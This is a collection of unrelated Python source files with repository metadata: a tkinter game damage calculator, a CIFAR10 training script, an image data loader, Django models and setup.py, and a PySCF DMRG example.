from tkinter import * from tkinter import ttk from tkinter import scrolledtext _VERSION = '0.1.0' # 創建主視窗 window = Tk() window.title("聖槍刺擊 " + _VERSION) class NewEntry: def __init__ (self, labelText, column, row): self.newObject = {} self.newObject['label'] = ttk.Label(window, text = labelText) self.newObject['label'].grid(column = column, row = row) self.newObject['value'] = StringVar() self.newObject['entry'] = ttk.Entry(window, width = 4, textvariable = self.newObject['value']) self.newObject['entry'].grid(column = column + 1, row = row) def get (self): return int(self.newObject['value'].get()) # 第一列素質 strength = NewEntry("STR：", 0, 0) intelligence = NewEntry("INT：", 2, 0) # 第二列素質ATK+修鍊ATK baseAtk = NewEntry("素質ATK：", 0, 1) repairAtk = NewEntry("修鍊ATK：", 2, 1) # 第三列武器 weaponAtk = NewEntry("武器ATK：", 0, 2) weaponLevel = NewEntry("武器等級：", 2, 2) intensify = NewEntry("武器精鍊值：", 4, 2) # 第四、五列 ATK增益效果 itemAtk = NewEntry("卡裝ATK：", 0, 3) classAtk = NewEntry("階級&atk(%)：", 2, 3) raceAtk = NewEntry("種族(%)：", 0, 4) enemyAttribute = NewEntry("敵方屬性(%)：", 2, 4) # 第六列素質MATK+武器MATK baseMatk = NewEntry("素質MATK：", 0, 5) weaponMatk = NewEntry("武器MATK：", 2, 5) # 第七列武器MATK+卡裝ATK itemMatk = NewEntry("卡裝MATK：", 0, 6) # 第八、九列 MATK增益效果 enchant = NewEntry("卡裝&附魔(%)：", 0, 7) raceMatk = NewEntry("種族&針對魔物(%)：", 2, 7) enemyAttributeForMagic = NewEntry("敵方屬性(%)：", 0, 8) myAttributeForMagic = NewEntry("自身屬性(%)：", 2, 8) # 第十列技能增傷 skill = NewEntry("技能(%)：", 0, 9) # 第十一行計算結果 def CalculateDamage (): firstAtk = repairAtk.get() + baseAtk.get() * 2 secondAtk = weaponAtk.get() * (1 + strength.get() * 0.005 + weaponLevel.get() * 0.05) + 5 * intensify.get() + 8 * (intensify.get() + weaponLevel.get() - 8) + 18 * weaponLevel.get() + itemAtk.get() secondAtkBuff = (1 + classAtk.get() / 100) * (1 + raceAtk.get() / 100) * (1 + enemyAttribute.get() / 100) secondMatk = (weaponMatk.get() + 5 * intensify.get()) * (1 + 0.1 * weaponLevel.get()) + 8 * (intensify.get() + weaponLevel.get() - 8) secondMatkBuff = (1 + enchant.get() / 100) * (1 + raceMatk.get() / 100) * (1 + enemyAttributeForMagic.get() / 100) * (1 + myAttributeForMagic.get() / 100) return ((firstAtk + secondAtk * secondAtkBuff) * 8.75 + 4 * secondMatk * secondMatkBuff * ((5 * intelligence.get() / 100 + 2.5) * 1.75 + 1.8)) * (1 + skill.get() / 100) def CalculateAction(): damage = str(CalculateDamage()) calculationLabel.config(text = damage) calculation = ttk.Button(window, text = "計算", command = CalculateAction) calculation.grid(column = 3, row = 10) calculationLabel = ttk.Label(window, text = "") calculationLabel.grid(column = 1, row = 10) # 顯示主視窗 window.mainloop()

[ "sugky7302@gmail.com" ]

sugky7302@gmail.com

b0b53b387467c7290b49d7c01a16691b782d9100

951b605ea41da28dccba6d3de63fb9211b7ad5b1

/Mains/main.py

f3cabc1b8e650a5af81217b1b118a57e8a7327f4

[ "MIT" ]

permissive

tiangeluo/DefectiveCNN

99296f7a86efd3c4d044701f4e94388989cbd66a

fdbf5235adffa846630fadb4ff910de50870c077

refs/heads/master

2022-01-29T14:23:10.198712

2022-01-08T22:20:54

222,830,775

1

null

UTF-8

Python

false

4,648

py

'''Train CIFAR10 with PyTorch.''' from __future__ import print_function import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse #from models import * from resnet import ResNet18 #from resnet_drop import ResNet18 from utils import progress_bar from torch.optim.lr_scheduler import MultiStepLR parser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training') parser.add_argument('--lr', default=0.1, type=float, help='learning rate') parser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint') args = parser.parse_args() device = 'cuda' if torch.cuda.is_available() else 'cpu' best_acc = 0 # best test accuracy start_epoch = 0 # start from epoch 0 or last checkpoint epoch # Data print('==> Preparing data..') transform_train = transforms.Compose([ transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)), ]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)), ]) trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(trainset, batch_size=128, shuffle=True, num_workers=2) testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test) testloader = torch.utils.data.DataLoader(testset, batch_size=128, shuffle=False, num_workers=2) classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') # Model print('==> Building model..') #net = VGG('VGG19') #net = ResNet18() # net = PreActResNet18() #net = GoogLeNet() #net = DenseNet121() #net = ResNet50() #net = ResNeXt29_2x64d() # net = MobileNet() #net = MobileNetV2() #net = DPN92() # net = ShuffleNetG2() #net = SENet18() net = ResNet18() net = net.to(device) if device == 'cuda': net = torch.nn.DataParallel(net) cudnn.benchmark = True if args.resume: # Load checkpoint. print('==> Resuming from checkpoint..') assert os.path.isdir('checkpoint'), 'Error: no checkpoint directory found!' checkpoint = torch.load('./checkpoint/ckpt.t7') net.load_state_dict(checkpoint['net']) best_acc = checkpoint['acc'] start_epoch = checkpoint['epoch'] criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=args.lr, momentum=0.9, weight_decay=5e-4) scheduler = MultiStepLR(optimizer, milestones=[150,250], gamma=0.1) # Training def train(epoch): scheduler.step() print('\nEpoch: %d' % epoch) net.train() train_loss = 0 correct = 0 total = 0 for batch_idx, (inputs, targets) in enumerate(trainloader): inputs, targets = inputs.to(device), targets.to(device) optimizer.zero_grad() outputs = net(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() train_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() progress_bar(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)' % (train_loss/(batch_idx+1), 100.*correct/total, correct, total)) def test(epoch): global best_acc net.eval() test_loss = 0 correct = 0 total = 0 with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(testloader): inputs, targets = inputs.to(device), targets.to(device) outputs = net(inputs) loss = criterion(outputs, targets) test_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() progress_bar(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)' % (test_loss/(batch_idx+1), 100.*correct/total, correct, total)) # Save checkpoint. acc = 100.*correct/total if acc > best_acc: print('Saving..') state = { 'net': net.state_dict(), 'acc': acc, 'epoch': epoch, } if not os.path.isdir('checkpoint'): os.mkdir('checkpoint') torch.save(state, './checkpoint/ckpt7.t7') best_acc = acc for epoch in range(start_epoch, start_epoch+350): train(epoch) if epoch % 5 == 0: test(epoch)

[ "tiangelce@gmail.com" ]

tiangelce@gmail.com

e734127d3b880b7bdbc64335eccdd72f30d56e81

6b9ccdfb8a4d562f0b5122ef954ad76cb038b5d2

/CNN/data_reader.py

d10dd8cef8a86768a76ccc71ea5e05e652a68e31

[]

no_license

yFiLES/cut-marks-classification

6d10e4a66c2b7302ef6eddffd2b635def9bfea82

6110647d38418cd07042a9f8533e9543a2f35f6e

refs/heads/master

2022-05-31T20:05:47.768543

2019-03-11T17:36:19

null

0

null

UTF-8

Python

false

6,581

py

#!/usr/bin/env python # author: Wonmin Byeon (wonmin.byeon@gmail.com) # data reader import scipy.misc import numpy as np import glob import random import cv2 __author__ = "Wonmin Byeon" __maintainer__ = "Wonmin Byeon" __email__ = "wonmin.byeon@gmail.com" np.random.seed(1234) WORK_DIRECTORY = 'data/' NUM_TEST_TM, NUM_TEST_RCM, NUM_TEST_CM = 10, 8, 2 IMAGE_SIZE_W, IMAGE_SIZE_H = 180, 520 def resize_image(image): return scipy.misc.imresize(image, (IMAGE_SIZE_H, IMAGE_SIZE_W)) def resize_images(data, n_data): resized_data = [] for idx in xrange(n_data): image = data[idx] resized_data.append(resize_image(image)) print("resized_data shape", np.array(resized_data).shape) return resized_data def apply_clahe(image): clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8)) return clahe.apply(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) def apply_histogrameq(image): processed = cv2.equalizeHist(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) return processed def normalization(train_data, test_data): print("before norm", np.mean(train_data), np.std(train_data), np.mean(test_data), np.std(test_data)) mean, std = np.mean(train_data), np.std(train_data) train_data -= mean # zero-center test_data -= mean train_data /= std test_data /= std print("after norm", np.mean(train_data), np.std(train_data), np.mean(test_data), np.std(test_data)) return train_data, test_data def reading_data(): # Get the data. try: flist_tm, flist_rcm, flist_cm = glob.glob(WORK_DIRECTORY+"tm/*.jpg"), glob.glob(WORK_DIRECTORY+"rcm/*.jpg"), glob.glob(WORK_DIRECTORY+"cm/*.jpg") print('num files tm/rcm/cm: ',len(flist_tm), len(flist_rcm), len(flist_cm)) except: print('Please set the correct path to the dataset: '+WORK_DIRECTORY+'*.jpg',) sys.exit() flist_tm, flist_rcm, flist_cm = shuffling(flist_tm), shuffling(flist_rcm), shuffling(flist_cm) min_w, min_h = 99999, 99999 train_data, test_data, train_labels, test_labels, train_fname, test_fname = [], [], [], [], [], [] count = 0 for idx, fname in enumerate(flist_tm): if ".jpg" in fname: # image = misc.imread(fname) image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_TM: test_data.append(image/255.) test_labels.append(0) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(0) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) count=0 for idx, fname in enumerate(flist_rcm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) # processed2 = apply_clahe(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_RCM: test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(1) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) count=0 for idx, fname in enumerate(flist_cm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) # processed2 = apply_clahe(image) image = np.concatenate([image, processed1], axis=2) if count < NUM_TEST_CM: test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 else: train_data.append(image/255.) train_labels.append(1) train_fname.append(fname) min_w, min_h = np.amin([min_w, ww]), np.amin([min_h, hh]) max_w, max_h = np.amax([min_w, ww]), np.amax([min_h, hh]) train_data, train_labels, train_fname = shuffling_dataset(train_data, train_labels, train_fname) test_data, test_labels, test_fname = shuffling_dataset(test_data, test_labels, test_fname) train_data, test_data = np.float32(train_data), np.float32(test_data) train_labels, test_labels = np.int64(train_labels), np.int64(test_labels) return train_data, test_data, train_labels, test_labels, train_fname, test_fname, min_h, min_w def reading_test_data(directory): # Get the data. try: flist_tm, flist_cm = glob.glob(directory+"tm/*.jpg"), glob.glob(directory+"cm/*.jpg") except: print('Please set the correct path to the dataset: '+directory+'*.jpg',) sys.exit() flist_tm, flist_cm = shuffling(flist_tm), shuffling(flist_cm) test_labels, test_data, test_fname = [], [], [] count = 0 for idx, fname in enumerate(flist_tm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) test_data.append(image/255.) test_labels.append(0) test_fname.append(fname) count += 1 count=0 for idx, fname in enumerate(flist_cm): if ".jpg" in fname: image = scipy.misc.imread(fname) hh, ww = image.shape image = resize_image(image).reshape(IMAGE_SIZE_H, IMAGE_SIZE_W, 1) processed1 = apply_histogrameq(image) image = np.concatenate([image, processed1], axis=2) test_data.append(image/255.) test_labels.append(1) test_fname.append(fname) count += 1 test_data, test_labels, test_fname = shuffling_dataset(test_data, test_labels, test_fname) test_data = np.float32(test_data) test_labels = np.int64(test_labels) return test_data, test_labels, test_fname def shuffling(data): perm = np.arange(len(data)) np.random.shuffle(perm) data = np.array(data) return data[perm] def shuffling_dataset(data, labels, fname): perm = np.arange(len(data)) np.random.shuffle(perm) data = np.array(data) labels = np.array(labels) fname = np.array(fname) return data[perm], labels[perm], fname[perm]

[ "wonmin.byeon@gmail.com" ]

wonmin.byeon@gmail.com

c379e124c4ff17be1f63b28b14af4a7ae7cddbc6

42756a590390ea219b828a0d504b19705a22cd99

/app/core/models.py

e2247dc93d6c43a4132d8f4c435d0a6aee531868

[ "MIT" ]

permissive

namjo/recipe-app-api

d68fecec91f8f1cab3b8c14da5663e438eb49888

0eb8f1f51e8bc3cf010dd36e55a861ddd1b4cb23

refs/heads/master

2022-04-26T06:17:45.195474

2020-04-24T19:11:40

256,265,354

0

null

UTF-8

Python

false

2,600

py

import uuid import os from django.db import models from django.contrib.auth.models import AbstractBaseUser, BaseUserManager, \ PermissionsMixin from django.conf import settings def recipe_image_file_path(instance, filename): """Generate file path for new recipe image""" ext = filename.split('.')[-1] filename = f'{uuid.uuid4()}.{ext}' return os.path.join('uploads/recipe/', filename) class UserManager(BaseUserManager): def create_user(self, email, password, **extra_fields): """Creates and saves a new user""" if not email: raise ValueError('Users must have an email address') user = self.model(email=self.normalize_email(email), **extra_fields) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, email, password): """Creates and saves a new superuser""" user = self.create_user(email, password) user.is_staff = True user.is_superuser = True user.save(using=self._db) return user class User(AbstractBaseUser, PermissionsMixin): """Custom user model that supports using email instead of username""" email = models.EmailField(max_length=255, unique=True) name = models.CharField(max_length=255) is_active = models.BooleanField(default=True) is_staff = models.BooleanField(default=False) objects = UserManager() USERNAME_FIELD = 'email' class Tag(models.Model): """Tag to be used for a recipe""" name = models.CharField(max_length=255) user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) def __str__(self): return self.name class Ingredient(models.Model): """Ingredient for a recipe""" name = models.CharField(max_length=255) user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) def __str__(self): return self.name class Recipe(models.Model): """Recipe object""" user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) title = models.CharField(max_length=255) time_minutes = models.IntegerField() price = models.DecimalField(max_digits=5, decimal_places=2) link = models.CharField(max_length=255, blank=True) ingredients = models.ManyToManyField('Ingredient') tags = models.ManyToManyField('Tag') image = models.ImageField(null=True, upload_to=recipe_image_file_path) def __str__(self): return self.title

[ "nam.johannes@gmail.com" ]

nam.johannes@gmail.com

33f1b6e48e0c04a001cd1121b0aba0c6b0d1546a

6d5510693f65f079e7ff672e064a81e4ff74ca2d

/H10_DMRG_curve.py

9c3ee350183b1caa05e84df94a967fbdbf364fad

[]

no_license

gkc1000/SimonsExercises

3612a1f78506ec86e97f30fdd04f197ecc4a6c0b

0d4a7d9e4f29b0cd3594ae60957e8304693e8db8

refs/heads/master

2021-01-20T18:28:32.328247

2016-06-23T20:00:11

61,827,692

0

null

UTF-8

Python

false

1,050

py

#!/usr/bin/env python # # Author: Qiming Sun <osirpt.sun@gmail.com> # from pyscf import gto from pyscf import scf from pyscf import mcscf from pyscf import dmrgscf import os from pyscf.dmrgscf import settings ''' Use DMRG program as the solver The DMRG program is invoked through system call. ''' b = 0.7 mol = gto.M( verbose = 4, atom = [['H', (0, 0, 0)], ['H', (r, 0, 0)], ['H', (2*r, 0, 0)], ['H', (3*r, 0, 0)], ['H', (4*r, 0, 0)], ['H', (5*r, 0, 0)], ['H', (6*r, 0, 0)], ['H', (7*r, 0, 0)], ['H', (8*r, 0, 0)], ['H', (9*r, 0, 0)]], basis = 'sto-3g', ) mf = scf.RHF(mol) mf.kernel() mc = dmrgscf.dmrgci.DMRGCI(mf, 8, 8) mc.mo_coeff = mf.mo_coeff # sets orbitals with which to do DMRG calculation (just HF MO here) emc = mc.kernel()[0] print(emc)

[ "gkc1000@gmail.com" ]

gkc1000@gmail.com

214b3e555a47cc401125457c25dc90a26b14ef9c

cacc55e5a17ef2a8aee476235009f679fe959c30

/setup.py

fa4f10f172c0e2da2c2bdb697870a24fe31fdb8c

[]

no_license

takers/Django-polls-vote-

b1379df8129de138987576d61fb73c0b1b186bea

aa12789c1960b40fb0af1d51a835057500ee2d5c

refs/heads/master

2020-03-29T14:33:45.240048

2014-01-02T06:20:28

null

0

null

UTF-8

Python

false

1,083

py

import os from setuptools import setup README = open(os.path.join(os.path.dirname(__file__), 'README.rst')).read() # allow setup.py to be run from any path os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir))) setup( name='django-polls', version='0.1', packages=['polls'], include_package_data=True, license='BSD License', # example license description='A simple Django app to conduct Web-based polls.', long_description=README, url='http://www..com/', author='Gabriel Nweke', author_email='gab4real2013@gmail.com', classifiers=[ 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', # example license 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', ], )

[ "gab4real2013@gmail.com" ]

gab4real2013@gmail.com